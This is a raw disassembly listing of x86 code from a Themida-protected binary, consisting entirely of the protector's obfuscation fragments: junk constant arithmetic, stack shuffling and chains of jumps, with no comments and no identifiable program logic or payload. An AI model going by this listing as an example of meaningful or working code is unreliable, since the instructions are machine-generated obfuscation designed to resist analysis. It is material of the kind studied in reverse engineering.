mov edi, esp
add edi, 4
push 6E5Fh
mov [esp], ebp
push 4
mov ebp, [esp]
add esp, 4
add edi, 14C45EEEh
add edi, ebp
push esi
mov esi, 14C45EEEh
jmp loc_58A20F
; ---------------------------------------------------------------------------
loc_58C77F: ; CODE XREF: Themida_:0058CA7Aj
pop esi
push ecx
mov ecx, 6DE37041h
and ecx, 59704D46h
push edi
mov edi, 7FBE0FF3h
and edi, 0BA275FFh
jmp loc_58AFA8
; ---------------------------------------------------------------------------
loc_58C79D: ; CODE XREF: Themida_:00590A85j
and edx, 34516CD4h
sub edx, 1C506B3Dh
sub edi, edx
jmp loc_58B46C
; ---------------------------------------------------------------------------
loc_58C7B0: ; CODE XREF: Themida_:0059160Bj
mov cx, 1B99h
xor dx, cx
pop cx
jmp loc_58CB23
; ---------------------------------------------------------------------------
loc_58C7BE: ; CODE XREF: Themida_:00590B02j
push edx
mov edx, 13350A4Ch
shl edx, 5
jmp loc_5943AA
; ---------------------------------------------------------------------------
loc_58C7CC: ; CODE XREF: Themida_:0058A849j
sub esi, 4
xchg esi, [esp]
mov esp, [esp]
jmp loc_592DA0
; ---------------------------------------------------------------------------
loc_58C7DA: ; CODE XREF: Themida_:00590A55j
mov edi, 233D4BBCh
shl edi, 4
add edi, 0CAC81F01h
add ebp, edi
jmp loc_5904B6
; ---------------------------------------------------------------------------
loc_58C7EF: ; CODE XREF: Themida_:0058C9A2j
push eax
mov eax, 7BE67420h
add eax, 84198BE4h
jmp loc_58D831
; ---------------------------------------------------------------------------
loc_58C7FF: ; CODE XREF: Themida_:0059514Bj
add ebx, 4
xchg ebx, [esp]
jmp loc_589865
; ---------------------------------------------------------------------------
loc_58C80D: ; CODE XREF: Themida_:00594447j
pop ecx
shl edi, 6
inc edi
and edi, 5D5D7F0Bh
jmp loc_592932
; ---------------------------------------------------------------------------
loc_58C81D: ; CODE XREF: Themida_:00593EAAj
shl edi, 1
not edi
shl edi, 6
add edi, 0F57D06FEh
add eax, edi
pop edi
sub eax, ebx
jmp loc_589E29
; ---------------------------------------------------------------------------
loc_58C834: ; CODE XREF: Themida_:0058AD89j
mov esi, 68D10F59h
inc esi
xchg ebx, esi
jmp loc_594338
; ---------------------------------------------------------------------------
loc_58C841: ; CODE XREF: Themida_:0058E5E6j
mov [esp], eax
push 71ABh
jmp loc_591873
; ---------------------------------------------------------------------------
loc_58C84E: ; CODE XREF: Themida_:0058D3F4j
mov ebp, eax
jmp loc_58A9B8
; ---------------------------------------------------------------------------
loc_58C855: ; CODE XREF: Themida_:00591625j
add edx, 32AD074Fh
shl edx, 6
sub edx, 0AE61AD2h
add edx, 9FC4995Fh
xor edi, edx
jmp loc_58D5D6
; ---------------------------------------------------------------------------
loc_58C871: ; CODE XREF: Themida_:0058C954j
xor ebp, [esp]
mov esp, [esp]
mov cx, [esp]
push esi
jmp loc_59561C
; ---------------------------------------------------------------------------
loc_58C881: ; CODE XREF: Themida_:0059139Aj
or esi, 722B7D27h
jmp loc_5957A9
; ---------------------------------------------------------------------------
loc_58C88C: ; CODE XREF: Themida_:0058DFE2j
mov eax, 9BFFFFEh
add edx, 18B667F2h
sub edx, eax
sub edx, 18B667F2h
pop eax
add ebp, edx
pop edx
jmp loc_58B7E7
; ---------------------------------------------------------------------------
loc_58C8A8: ; CODE XREF: Themida_:0058FBE0j
pop edx
add edi, ebp
pop ebp
add edi, 4
xchg edi, [esp]
pop esp
mov esi, edi
pop edi
and ebx, esi
mov esi, [esp]
add esp, 4
or ebx, ebx
jnz loc_58A7EA
push 0DC1h
mov [esp], eax
mov eax, esp
add eax, 4
sub eax, 4
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
mov [esp], ebx
push edx
sub dword ptr [esp], 21DC3F28h
pop ebx
add ebx, 21DC3F28h
sub esp, 4
mov [esp], edx
mov edx, 20h
add edx, edi
jmp loc_591F44
; ---------------------------------------------------------------------------
loc_58C90E: ; CODE XREF: Themida_:0058FC5Aj
push ecx
push esp
pop ecx
add ecx, 4
jmp loc_58EC99
; ---------------------------------------------------------------------------
loc_58C91C: ; CODE XREF: Themida_:00591B75j
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58C921: ; CODE XREF: Themida_:00591911j
push edx
mov eax, [esp]
add esp, 4
pop edx
xchg edi, edx
not edi
push edx
push 7EDEh
mov [esp], ecx
push esp
mov ecx, [esp]
jmp loc_5908D1
; ---------------------------------------------------------------------------
loc_58C93F: ; CODE XREF: Themida_:0058D46Bj
sub ecx, ebx
jmp loc_58D023
; ---------------------------------------------------------------------------
loc_58C946: ; CODE XREF: Themida_:0059165Fj
push dword ptr [esp]
jmp loc_58E03F
; ---------------------------------------------------------------------------
loc_58C94E: ; CODE XREF: Themida_:0058D557j
xor ebp, [esp]
xor [esp], ebp
jmp loc_58C871
; ---------------------------------------------------------------------------
loc_58C959: ; CODE XREF: Themida_:0058C610j
pop esp
imul cx
push eax
mov eax, esp
jmp loc_589EDD
; ---------------------------------------------------------------------------
push 5E35h
jmp loc_58EC0C
; ---------------------------------------------------------------------------
loc_58C96F: ; CODE XREF: Themida_:00593E62j
dec ebx
and ebx, 702F7586h
jmp loc_58E972
; ---------------------------------------------------------------------------
loc_58C97B: ; CODE XREF: Themida_:005907C7j
mov edi, 0CB13B3Fh
jmp loc_593053
; ---------------------------------------------------------------------------
loc_58C985: ; CODE XREF: Themida_:0058EE3Cj
mov eax, 31FD0BDAh
sub eax, 79CA69B9h
push edx
push 63B54FF5h
pop edx
jmp loc_58F450
; ---------------------------------------------------------------------------
loc_58C99B: ; CODE XREF: Themida_:0058C52Ej
xchg edx, [esp]
pop esp
push esi
mov esi, esp
jmp loc_58C7EF
; ---------------------------------------------------------------------------
loc_58C9A7: ; CODE XREF: Themida_:00591C95j
or ecx, edi
pop edi
jmp loc_5934A2
; ---------------------------------------------------------------------------
loc_58C9AF: ; CODE XREF: Themida_:00594F01j
add eax, 64B7136Eh
sub eax, edi
push ecx
jmp loc_5910B4
; ---------------------------------------------------------------------------
loc_58C9BC: ; CODE XREF: Themida_:0058DC03j
mov edi, [esp]
push edx
jmp loc_58BC12
; ---------------------------------------------------------------------------
loc_58C9C5: ; CODE XREF: Themida_:00593E57j
mov [esp], edx
mov edx, 5DB92062h
shl edx, 7
push ecx
mov ecx, 6B2F737Dh
jmp loc_59413B
; ---------------------------------------------------------------------------
loc_58C9DB: ; CODE XREF: Themida_:005947AFj
add esp, 4
push eax
jmp loc_594E3E
; ---------------------------------------------------------------------------
loc_58C9E7: ; CODE XREF: Themida_:005920B5j
mov [esp], ebp
push esi
push ebp
mov ebp, 63F12481h
inc ebp
inc ebp
sub ebp, 27BEDC4Fh
mov esi, ebp
pop ebp
mov ebp, 43571C4Bh
sub ebp, 21FF6DC3h
push esi
sub esp, 4
mov [esp], ebp
mov ebp, 41943BFh
mov esi, ebp
pop ebp
xor ebp, esi
pop esi
xor ebp, 47B15B4Eh
sub ebp, 3373304Fh
push ebx
jmp loc_58FBE5
; ---------------------------------------------------------------------------
loc_58CA2B: ; CODE XREF: Themida_:0058FD6Cj
and bl, 3Eh
xor bl, 2
jmp loc_58BB92
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_591703
; ---------------------------------------------------------------------------
loc_58CA3E: ; CODE XREF: Themida_:0058E4D3j
push ecx
push 6FE67C5Bh
mov ecx, [esp]
add esp, 4
sub esp, 4
mov [esp], ecx
not dword ptr [esp]
pop ecx
add ecx, 6FE67C88h
push 4D33h
mov [esp], esi
push ecx
jmp loc_592B95
; ---------------------------------------------------------------------------
loc_58CA6B: ; CODE XREF: Themida_:0058F858j
shl edi, 6
add edi, 0D47FF2C4h
jmp loc_59505B
; ---------------------------------------------------------------------------
loc_58CA79: ; CODE XREF: Themida_:005936D2j
push esp
jmp loc_58C77F
; ---------------------------------------------------------------------------
loc_58CA7F: ; CODE XREF: Themida_:00591986j
dec esi
jmp loc_58EA17
; ---------------------------------------------------------------------------
loc_58CA85: ; CODE XREF: Themida_:005905A6j
mov ebx, [esp]
add esp, 4
add edx, ebx
mov ebx, [esp]
add esp, 4
xor edx, [esp]
xor [esp], edx
jmp loc_58A6C3
; ---------------------------------------------------------------------------
loc_58CAA1: ; CODE XREF: Themida_:0058DAE3j
add ebp, 0F6695075h
jmp loc_58D399
; ---------------------------------------------------------------------------
loc_58CAAC: ; CODE XREF: Themida_:0058CD17j
mov [esp], esp
jmp loc_58B238
; ---------------------------------------------------------------------------
loc_58CAB4: ; CODE XREF: Themida_:005958DDj
and edi, 536717FBh
xor edi, 0BDEFFBC8h
add esi, edi
jmp loc_592B52
; ---------------------------------------------------------------------------
loc_58CAC7: ; CODE XREF: Themida_:00594EBDj
mov edx, eax
mov ecx, edx
pop edx
pop eax
sub ecx, eax
pop eax
add ecx, 0FFFFFFFFh
inc ecx
xchg edi, ecx
jmp loc_58A5D4
; ---------------------------------------------------------------------------
loc_58CADE: ; CODE XREF: Themida_:0058F5EDj
push edx
mov edx, 14005820h
add edx, 15725D52h
not edx
and edx, 241F1F6Dh
push 0
jmp loc_58F06B
; ---------------------------------------------------------------------------
loc_58CAFC: ; CODE XREF: Themida_:00591E5Fj
and eax, ebx
mov ebx, [esp]
add esp, 4
or eax, eax
jnz loc_58B44D
push eax
push esi
mov esi, 2706BAAh
not esi
add esi, 79BDE050h
jmp loc_58C1D7
; ---------------------------------------------------------------------------
loc_58CB23: ; CODE XREF: Themida_:0058C7B9j
add bx, dx
pop edx
jmp loc_58E599
; ---------------------------------------------------------------------------
loc_58CB2C: ; CODE XREF: Themida_:00589E87j
xor edi, 81B1EE9h
xor edi, 3C2B1FEFh
xor edi, 272F4E4Fh
jmp loc_58E445
; ---------------------------------------------------------------------------
loc_58CB43: ; CODE XREF: Themida_:005923B6j
not byte ptr [esp]
pop edx
jmp loc_5933B8
; ---------------------------------------------------------------------------
loc_58CB4C: ; CODE XREF: Themida_:0059083Ej
sub ebx, edi
sub ebx, 32996C91h
add ebx, 468F6ED0h
pop edi
and eax, ebx
mov ebx, [esp]
jmp loc_58CDE7
; ---------------------------------------------------------------------------
mov ax, [esp]
push esi
jmp loc_589819
; ---------------------------------------------------------------------------
loc_58CB6F: ; CODE XREF: Themida_:00591116j
pop ebp
jmp loc_58EF11
; ---------------------------------------------------------------------------
loc_58CB75: ; CODE XREF: Themida_:005930AEj
push esi
mov esi, 692352D6h
push edi
push eax
mov eax, 49387D86h
and eax, 4E97ACDh
jmp loc_58FEDE
; ---------------------------------------------------------------------------
loc_58CB8C: ; CODE XREF: Themida_:0058F385j
not ch
xchg ch, bl
shr bl, 1
and bl, 0EFh
jmp loc_594C7E
; ---------------------------------------------------------------------------
loc_58CB9A: ; CODE XREF: Themida_:0058B6F8j
mov cl, 75h
add cl, 0D0h
jmp loc_58FCF2
; ---------------------------------------------------------------------------
loc_58CBA4: ; CODE XREF: Themida_:00591529j
or [edi+1Ch], edx
push dword ptr [esp]
mov edx, [esp]
add esp, 4
push 1C44h
mov [esp], ebp
mov ebp, esp
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
jmp loc_58D38D
; ---------------------------------------------------------------------------
loc_58CBD4: ; CODE XREF: Themida_:0059356Cj
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58CBD9: ; CODE XREF: Themida_:00594615j
xor dh, 2Bh
add dh, 1Eh
add dh, 0CCh
sub ch, dh
pop edx
jmp loc_594E06
; ---------------------------------------------------------------------------
loc_58CBEA: ; CODE XREF: Themida_:00590FF7j
sub eax, edx
add eax, 1A4B23F4h
pop edx
push dword ptr [esp]
jmp loc_59323A
; ---------------------------------------------------------------------------
loc_58CBFA: ; CODE XREF: Themida_:00594885j
pop ecx
jmp loc_58E270
; ---------------------------------------------------------------------------
loc_58CC00: ; CODE XREF: Themida_:0058E936j
sub ax, dx
pop edx
jmp loc_5941B1
; ---------------------------------------------------------------------------
loc_58CC09: ; CODE XREF: Themida_:0058BD43j
pop ebx
mov ecx, [esp]
jmp loc_59385E
; ---------------------------------------------------------------------------
loc_58CC12: ; CODE XREF: Themida_:00590680j
xor [esp], ebp
xor ebp, [esp]
jmp loc_58A254
; ---------------------------------------------------------------------------
loc_58CC1D: ; CODE XREF: Themida_:00593B5Cj
pop ebx
shr ecx, 0Ah
push 737Ch
jmp loc_592220
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
adc [esp], ax
pushf
jmp loc_594211
; ---------------------------------------------------------------------------
loc_58CC3B: ; CODE XREF: Themida_:0058C699j
mov [esp], edx
jmp loc_5907E8
; ---------------------------------------------------------------------------
loc_58CC43: ; CODE XREF: Themida_:00589FECj
sub di, 7C46h
add di, 3C96h
jmp loc_5894D1
; ---------------------------------------------------------------------------
loc_58CC52: ; CODE XREF: Themida_:0058F3BCj
xor ecx, 0CC0482C5h
add edi, ecx
pop ecx
shr edi, 7
jmp loc_5901F1
; ---------------------------------------------------------------------------
loc_58CC63: ; CODE XREF: Themida_:005901D8j
sub edx, 4F6640D0h
not edx
push eax
mov eax, 30F6750h
add edx, eax
pop eax
mov ebx, edx
pop edx
sub ebx, 0CAA50339h
sub eax, ebx
mov ebx, [esp]
add esp, 4
sub eax, 7B7440DBh
xor eax, 241D5867h
jmp loc_5896CA
; ---------------------------------------------------------------------------
loc_58CC94: ; CODE XREF: Themida_:00593B36j
mov ch, 3Ah
jmp loc_592F5B
; ---------------------------------------------------------------------------
lodsb
add al, 9Ah
add al, bl
sub esp, 4
mov [esp], edx
jmp loc_5944D7
; ---------------------------------------------------------------------------
loc_58CCAE: ; CODE XREF: Themida_:0058A441j
push dword ptr [esp+4]
jmp loc_594084
; ---------------------------------------------------------------------------
loc_58CCB7: ; CODE XREF: Themida_:00591E3Fj
xor ebp, edi
sub ebp, 0A91EA83Ch
and eax, ebp
mov ebp, [esp]
push ebp
mov ebp, esp
jmp loc_591D5D
; ---------------------------------------------------------------------------
loc_58CCCC: ; CODE XREF: Themida_:0058B047j
shl ecx, 6
and ecx, 6F19500Ah
jmp loc_58E6CF
; ---------------------------------------------------------------------------
loc_58CCDA: ; CODE XREF: Themida_:00592FFFj
not edx
inc edx
dec edx
sub edx, 41B13A7h
add ebx, edx
jmp loc_59514A
; ---------------------------------------------------------------------------
loc_58CCEB: ; CODE XREF: Themida_:0058FA93j
sub ebx, 265A6390h
neg ebx
sub esp, 4
mov [esp], ecx
mov ecx, 1DD80703h
jmp loc_58E18E
; ---------------------------------------------------------------------------
lodsb
push small 66ADh
mov [esp], cx
jmp loc_590B07
; ---------------------------------------------------------------------------
loc_58CD11: ; CODE XREF: Themida_:005905D9j
push edx
push 3181h
jmp loc_58CAAC
; ---------------------------------------------------------------------------
loc_58CD1C: ; CODE XREF: Themida_:005896E8j
add ecx, 4
xchg ecx, [esp]
jmp loc_594164
; ---------------------------------------------------------------------------
loc_58CD2A: ; CODE XREF: Themida_:0058BDABj
xor ebp, edi
pop edi
shr ebp, 1
add ebp, 75EA153Bh
shr ebp, 7
push eax
push 75034CC9h
pop eax
jmp loc_58E310
; ---------------------------------------------------------------------------
loc_58CD44: ; CODE XREF: Themida_:005935C0j
pop esi
push edi
push esi
mov esi, 76631897h
mov edi, esi
jmp loc_58EC78
; ---------------------------------------------------------------------------
loc_58CD53: ; CODE XREF: Themida_:0058C115j
add ebp, eax
add ebp, 5644782Bh
jmp loc_59595C
; ---------------------------------------------------------------------------
loc_58CD60: ; CODE XREF: Themida_:005925A2j
shl di, 3
or di, 5DD2h
jmp loc_58E923
; ---------------------------------------------------------------------------
loc_58CD6E: ; CODE XREF: Themida_:0058EBAAj
push small 7F00h
jmp loc_58E6AE
; ---------------------------------------------------------------------------
loc_58CD77: ; CODE XREF: Themida_:0058A293j
and ebp, 181F6CB4h
sub ebp, 0FFFFFFFFh
push ebx
mov ebx, 249956BDh
push ebx
neg dword ptr [esp]
pop ebx
jmp loc_595063
; ---------------------------------------------------------------------------
loc_58CD90: ; CODE XREF: Themida_:0058B0EEj
mov dh, 8Dh
mov ch, 0CBh
dec ch
jmp loc_58BB9C
; ---------------------------------------------------------------------------
loc_58CD9B: ; CODE XREF: Themida_:0058C1E4j
inc dh
jmp loc_590D52
; ---------------------------------------------------------------------------
loc_58CDA2: ; CODE XREF: Themida_:00589B70j
add ecx, esi
pop esi
mov esi, ecx
pop ecx
and eax, esi
jmp loc_59376A
; ---------------------------------------------------------------------------
mov ax, [esp]
push edi
jmp loc_58D35A
; ---------------------------------------------------------------------------
loc_58CDB9: ; CODE XREF: Themida_:0058EC34j
mov esi, 1FF2779Eh
inc esi
jmp loc_58E8C3
; ---------------------------------------------------------------------------
loc_58CDC4: ; CODE XREF: Themida_:0059098Bj
pop edi
add ebx, edx
jmp loc_58FD3C
; ---------------------------------------------------------------------------
loc_58CDCC: ; CODE XREF: Themida_:00594771j
mov bl, 67h
xor bl, 60h
sub bl, 0CAh
mov cl, bl
jmp loc_5947C7
; ---------------------------------------------------------------------------
loc_58CDDB: ; CODE XREF: Themida_:0058C49Ej
sub esi, 4
xchg esi, [esp]
pop esp
jmp loc_594657
; ---------------------------------------------------------------------------
loc_58CDE7: ; CODE XREF: Themida_:0058CB60j
add esp, 4
shr eax, 8
xor eax, ecx
xor eax, edx
jmp loc_58BD17
; ---------------------------------------------------------------------------
loc_58CDF9: ; CODE XREF: Themida_:00593C6Aj
pop esp
pop dword ptr [esp]
pop esp
jmp loc_58A1A9
; ---------------------------------------------------------------------------
loc_58CE03: ; CODE XREF: Themida_:005930D3j
sub ebp, 22F552E5h
add ebp, 2DDC5704h
mov ecx, ebp
pop ebp
push 722Ah
mov [esp], edi
jmp loc_58E771
; ---------------------------------------------------------------------------
loc_58CE1F: ; CODE XREF: Themida_:00594AFCj
xor al, cl
mov ecx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_59479C
; ---------------------------------------------------------------------------
loc_58CE3C: ; CODE XREF: Themida_:0058A873j
push dword ptr [esp]
pop ecx
sub esp, 4
jmp loc_58DCFE
; ---------------------------------------------------------------------------
loc_58CE48: ; CODE XREF: Themida_:00592DC0j
pop eax
inc ch
or ch, 0C4h
dec ch
add ch, 47h
add ch, 0FFh
push ebx
mov bh, 3Ch
jmp loc_59340D
; ---------------------------------------------------------------------------
loc_58CE5E: ; CODE XREF: Themida_:00591BADj
and eax, esi
jmp loc_592E15
; ---------------------------------------------------------------------------
loc_58CE65: ; CODE XREF: Themida_:0058D43Bj
xchg edi, [esp]
pop esp
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ecx
mov ecx, 0FFFFFBFFh
and [edi+1Ch], ecx
pop ecx
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58CE81: ; CODE XREF: Themida_:00590740j
pop eax
push esi
mov esi, 4
add eax, esi
pop esi
push ebp
mov ebp, 4
push esi
push ebp
mov ebp, 4A3635F7h
mov esi, 13CF73ACh
xor esi, ebp
mov ebp, [esp]
jmp loc_592149
; ---------------------------------------------------------------------------
loc_58CEA7: ; CODE XREF: Themida_:0058FA1Bj
xchg edx, [esp]
pop esp
mov ax, [esp]
sub esp, 4
mov [esp], ebx
mov ebx, esp
push ebp
mov ebp, 72D1439Eh
not ebp
jmp loc_59591C
; ---------------------------------------------------------------------------
loc_58CEC7: ; CODE XREF: Themida_:0058A340j
pop eax
add [esp+4], esi
pop esi
pop ecx
sub ecx, 24B040C8h
pop ebx
xor ecx, eax
pop eax
add edx, 14C77A7Fh
add edx, ecx
sub edx, 14C77A7Fh
pop ecx
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
jmp loc_5897E6
; ---------------------------------------------------------------------------
loc_58CEF6: ; CODE XREF: Themida_:0058A2FAj
add edi, 85ED54DCh
mov esi, edi
pop edi
add esi, 1C056CC6h
add esi, eax
jmp loc_590536
; ---------------------------------------------------------------------------
loc_58CF0C: ; CODE XREF: Themida_:0058E892j
mov eax, 4
add ebx, eax
jmp loc_58E267
; ---------------------------------------------------------------------------
loc_58CF18: ; CODE XREF: Themida_:0058D029j
pop ebx
xchg ecx, [esp]
pop esp
mov [esp], ebp
push 6E8Dh
mov [esp], ebx
jmp loc_58BBE3
; ---------------------------------------------------------------------------
loc_58CF2D: ; CODE XREF: Themida_:005957BCj
sub edx, 0D834E826h
sub eax, 1F2D3078h
add eax, edx
add eax, 1F2D3078h
pop edx
pop edx
push dword ptr [edi+eax*4]
sub dword ptr [esp], 15F13B86h
pop eax
push ebx
jmp loc_58E0E3
; ---------------------------------------------------------------------------
loc_58CF52: ; CODE XREF: Themida_:005903ADj
push 60B7h
jmp loc_590F95
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_58B8C2
; ---------------------------------------------------------------------------
loc_58CF65: ; CODE XREF: Themida_:00590297j
idiv ecx
sub esp, 4
mov [esp], ebp
jmp loc_58F27D
; ---------------------------------------------------------------------------
loc_58CF72: ; CODE XREF: Themida_:00592701j
shl edi, 5
and edi, 71F90BCBh
shl edi, 7
sub edi, 75145D24h
jmp loc_594553
; ---------------------------------------------------------------------------
loc_58CF89: ; CODE XREF: Themida_:0058D080j
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58CF8E: ; CODE XREF: Themida_:0059014Cj
shr dh, 5
or dh, 6Dh
push eax
mov al, dh
not al
jmp loc_592A3E
; ---------------------------------------------------------------------------
loc_58CF9E: ; CODE XREF: Themida_:00592D9Bj
pop ecx
push ecx
mov ecx, 3AF31345h
jmp loc_591FD4
; ---------------------------------------------------------------------------
loc_58CFAA: ; CODE XREF: Themida_:0058E838j
sub bl, 0CDh
push ecx
mov ch, 0B8h
inc ch
sub ch, 0FFh
jmp loc_591007
; ---------------------------------------------------------------------------
loc_58CFBA: ; CODE XREF: Themida_:0058EFF0j
add eax, 4
jmp loc_594CD4
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebx
jmp loc_592545
; ---------------------------------------------------------------------------
loc_58CFCE: ; CODE XREF: Themida_:00589747j
add eax, 4
jmp loc_58B25C
; ---------------------------------------------------------------------------
loc_58CFD8: ; CODE XREF: Themida_:005912B1j
push ebx
mov ebx, 0FFDA187Ah
add esi, ebx
pop ebx
jmp loc_58ECAC
; ---------------------------------------------------------------------------
loc_58CFE6: ; CODE XREF: Themida_:0059306Dj
mov esi, esp
push eax
jmp loc_593D42
; ---------------------------------------------------------------------------
loc_58CFEE: ; CODE XREF: Themida_:00592FA8j
pop ebp
add esi, ebx
push dword ptr [esp]
pop ebx
add esp, 4
add esi, 2
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
mov fs:[edx], ax
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58D013: ; CODE XREF: Themida_:00591D49j
inc bl
sub bl, 42h
xor ah, bl
pop ebx
mov dl, ah
pop eax
jmp loc_592169
; ---------------------------------------------------------------------------
loc_58D023: ; CODE XREF: Themida_:0058C941j
sub ecx, 0D806BEFh
jmp loc_58CF18
; ---------------------------------------------------------------------------
loc_58D02E: ; CODE XREF: Themida_:00589D67j
mov [esp], esi
mov esi, 7EF01E38h
dec esi
inc esi
sub esi, 2548653h
sub edi, 56532A0Fh
sub edi, esi
add edi, 56532A0Fh
pop esi
xor eax, edi
mov edi, [esp]
add esp, 4
push 629Fh
mov [esp], ebp
mov ebp, 5A912139h
add ebp, 0FFFFFFFFh
jmp loc_58B8F2
; ---------------------------------------------------------------------------
loc_58D06D: ; CODE XREF: Themida_:0058C405j
mov edi, [esp]
add esp, 4
jmp loc_591B21
; ---------------------------------------------------------------------------
push 5AEDh
mov [esp], edx
jmp loc_58CF89
; ---------------------------------------------------------------------------
loc_58D085: ; CODE XREF: Themida_:005948B5j
pop ebp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
add bl, al
jmp loc_58B230
; ---------------------------------------------------------------------------
loc_58D09A: ; CODE XREF: Themida_:00591AF8j
not ebx
xor ebx, 541C3702h
inc ebx
jmp loc_58DF30
; ---------------------------------------------------------------------------
mov ecx, [esp]
push ebp
push esp
pop ebp
push ebx
mov ebx, 6A6C56E7h
push ecx
jmp loc_58D81B
; ---------------------------------------------------------------------------
loc_58D0BA: ; CODE XREF: Themida_:005912C1j
mov dl, 0B5h
push ebx
mov bl, 44h
shr bl, 8
xor bl, 0DBh
sub al, bl
pop ebx
jmp loc_5944BE
; ---------------------------------------------------------------------------
loc_58D0CD: ; CODE XREF: Themida_:00595910j
mov esi, 4
jmp loc_592480
; ---------------------------------------------------------------------------
loc_58D0D7: ; CODE XREF: Themida_:005931C4j
mov ax, 55ABh
dec ax
add ax, 7B2h
inc ax
add ax, 97Bh
or di, ax
jmp loc_589FEB
; ---------------------------------------------------------------------------
loc_58D0EF: ; CODE XREF: Themida_:0058B7B7j
pop esi
and esi, 1CAC0F61h
xor esi, 4D087641h
neg esi
add esi, 64F4B399h
mov eax, esi
jmp loc_5947B4
; ---------------------------------------------------------------------------
loc_58D10B: ; CODE XREF: Themida_:005926D3j
mov bl, 51h
and bl, 2
jmp loc_59235B
; ---------------------------------------------------------------------------
loc_58D115: ; CODE XREF: Themida_:00592A0Fj
and eax, 5855519Eh
shl eax, 5
push ebx
mov ebx, 0CDD39A8h
not ebx
sub ebx, 217B210Dh
or ebx, 1F8E46A9h
sub ebx, 1638519Bh
or ebx, 238B5C7Dh
push edi
jmp loc_59240A
; ---------------------------------------------------------------------------
loc_58D143: ; CODE XREF: Themida_:0058F806j
push ebp
mov ebp, 4
add ebx, ebp
pop ebp
jmp loc_58A991
; ---------------------------------------------------------------------------
loc_58D151: ; CODE XREF: Themida_:00594044j
add ch, 0A9h
sub ch, 1Eh
jmp loc_58D77F
; ---------------------------------------------------------------------------
loc_58D15C: ; CODE XREF: Themida_:00592690j
mov ecx, [esp]
add esp, 4
xchg edi, [esp]
mov esp, [esp]
mov [esp], dx
jmp loc_58EA3B
; ---------------------------------------------------------------------------
loc_58D171: ; CODE XREF: Themida_:00591894j
push esi
mov esi, 2
add eax, esi
mov esi, [esp]
jmp loc_5910DD
; ---------------------------------------------------------------------------
loc_58D181: ; CODE XREF: Themida_:0058EDDFj
pop edx
pop dword ptr [esp]
pop esp
mov [esp], dx
push ax
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58D192: ; CODE XREF: Themida_:00590560j
mov cl, 0DEh
xor cl, 0A1h
sub dh, cl
pop ecx
and dh, 44h
xor dh, 10h
sub bl, 3Bh
jmp loc_5948AA
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
mov esp, [esp]
push eax
mov eax, esp
add eax, 4
jmp loc_58F844
; ---------------------------------------------------------------------------
loc_58D1D0: ; CODE XREF: Themida_:00591C0Aj
sub esp, 4
mov [esp], edi
jmp loc_5945A6
; ---------------------------------------------------------------------------
loc_58D1DE: ; CODE XREF: Themida_:0058A0B5j
mov eax, 2
add ebx, eax
mov eax, [esp]
add esp, 4
push ebx
push dword ptr [esp+4]
jmp loc_592BA2
; ---------------------------------------------------------------------------
loc_58D1F5: ; CODE XREF: Themida_:0058B1D9j
push eax
mov eax, 6CDD3A69h
jmp loc_58A59C
; ---------------------------------------------------------------------------
loc_58D200: ; CODE XREF: Themida_:0058FE49j
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
loc_58D210: ; CODE XREF: Themida_:loc_58BC5Aj
push 6BABh
mov [esp], ebx
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
push eax
push esp
pop eax
push esi
jmp loc_58AA2B
; ---------------------------------------------------------------------------
loc_58D22A: ; CODE XREF: Themida_:005908FCj
pop ecx
push 114Eh
mov [esp], edi
push ebp
jmp loc_58F1AD
; ---------------------------------------------------------------------------
loc_58D239: ; CODE XREF: Themida_:00592AB2j
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58D23E: ; CODE XREF: Themida_:00594FAFj
push 639Fh
jmp loc_592982
; ---------------------------------------------------------------------------
loc_58D248: ; CODE XREF: Themida_:0058B405j
push edi
push ebx
mov edi, [esp]
add esp, 4
pop ebx
push 798h
mov [esp], eax
jmp loc_58EBAF
; ---------------------------------------------------------------------------
loc_58D261: ; CODE XREF: Themida_:00589CEFj
push edx
push 41E02249h
pop edx
push 1836h
jmp loc_592E2B
; ---------------------------------------------------------------------------
loc_58D272: ; CODE XREF: Themida_:005911D3j
shl dh, 8
jmp loc_59226D
; ---------------------------------------------------------------------------
loc_58D27A: ; CODE XREF: Themida_:0058B5D9j
sub esi, 0E223E172h
add ebp, 71D128C0h
sub ebp, 752F5085h
jmp loc_5924EA
; ---------------------------------------------------------------------------
loc_58D291: ; CODE XREF: Themida_:0058F9DDj
mov ebx, esi
pop esi
add esi, ebx
pop ebx
xchg esi, [esp]
jmp loc_595367
; ---------------------------------------------------------------------------
loc_58D29F: ; CODE XREF: Themida_:00589B9Fj
push dword ptr [esp]
push dword ptr [esp]
pop eax
sub esp, 4
mov [esp], edx
mov edx, esp
push esi
mov esi, 4
sub edx, 30A645CBh
add edx, esi
add edx, 30A645CBh
pop esi
sub esp, 4
mov [esp], ecx
jmp loc_590A60
; ---------------------------------------------------------------------------
loc_58D2D1: ; CODE XREF: Themida_:00593A80j
sub ebx, 4
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
mov [esp], edi
mov edi, esp
push ebp
push ecx
jmp loc_59517D
; ---------------------------------------------------------------------------
loc_58D2ED: ; CODE XREF: Themida_:0058B37Dj
add ecx, eax
jmp loc_58DE99
; ---------------------------------------------------------------------------
loc_58D2F4: ; CODE XREF: Themida_:0058B274j
add edi, ecx
pop ecx
jmp loc_58F285
